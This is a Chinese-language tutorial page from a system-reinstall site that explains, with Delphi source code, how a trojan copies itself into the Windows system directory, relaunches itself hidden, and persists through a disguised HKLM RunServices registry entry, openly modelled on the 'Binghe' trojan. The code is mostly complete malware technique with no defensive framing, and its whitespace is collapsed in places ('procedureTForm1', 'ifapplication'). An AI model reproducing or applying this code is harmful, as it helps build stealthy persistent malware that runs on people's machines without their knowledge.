• 微软原版系统

  • 一键重装系统

  • 纯净系统

  • 在线技术客服

魔法猪系统重装大师 一键在线制作启动 U 盘 PE 系统 用一键重装的魔法拯救失去灵魂的系统
当前位置:首页 > 教程 > 电脑教程

Delphi实现可执行文件(木马)自我拷贝

时间:2015年04月02日 15:47:01    来源:魔法猪系统重装大师官网    人气:10078
前往Delphi专题

这种方法的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,再退出旧程序.
  打开Delphi,新建一个工程,在窗口的Create事件中写代码:
  procedureTForm1.FormCreate(Sender:TObject);
  var
    myname:string;
  begin
  myname:=ExtractFilename(Application.Exename);//获得文件名
  ifapplication.Exename<>GetWindir+mynamethen//如果文件不是在Windows\System\那么..
  begin
  copyfile(pchar(application.Exename),pchar(GetWindir+myname),False);{将自己拷贝到Windows\System\下}
  Winexec(pchar(GetWindir+myname),sw_hide);//运行Windows\System\下的新文件
  application.Terminate;//退出
  end;
  end;
  其中GetWinDir是自定义函数,起功能是找出Windows\System\的路径.
  function GetWinDir:String;
  var
  Buf:array[0..MAX_PATH]ofchar;
  begin
  GetSystemDirectory(Buf,MAX_PATH);
  Result:=Buf;
  ifResult[Length(Result)]<>'\'thenResult:=Result+'\';
  end;
  如何能使程序能在windows启动时自动启动?
  为了程序能在Windows每次启动时自动运行,可以通过六种途径来实现.“冰河”用注册表的方式.
  加入Registry单元,改写上面的窗口Create事件,改写后的程序如下:
  procedureTForm1.FormCreate(Sender:TObject);
  constK='\Software\Microsoft\Windows\CurrentVersion\RunServices';
  varmyname:string;
  begin
  {WritebyLovejingtao,http://Lovejingtao.126.com,Lovejingtao@21cn.com}
  myname:=ExtractFilename(Application.Exename);//获得文件名
  ifapplication.Exename<>GetWindir+mynamethen//如果文件不是在Windows\System\那么..
  begin
  copyfile(pchar(application.Exename),pchar(GetWindir+myname),False);{//将自己拷贝到Windows\System\下}
  Winexec(pchar(GetWindir+myname),sw_hide);//运行Windows\System\下的新文件
  application.Terminate;//退出
  end;
  withTRegistry.Createdo
  try
  RootKey:=HKEY_LOCAL_MACHINE;
  OpenKey(K,TRUE);
  WriteString('syspler',application.ExeName);
  finally
  free;
  end;
  end;

Delphi,实现,可执行,文件,木马,自我,拷贝,前往,
栏目:电脑教程 阅读:1000 2023/12/27
Win7教程 更多>>
U盘教程 更多>>
Win10教程 更多>>
魔法猪学院 更多>>

Copyright © 2015-2023 魔法猪 魔法猪系统重装大师

本站发布的系统仅为个人学习测试使用,请在下载后24小时内删除,不得用于任何商业用途,否则后果自负,请支持购买微软正版软件。

在线客服 查看微信 返回顶部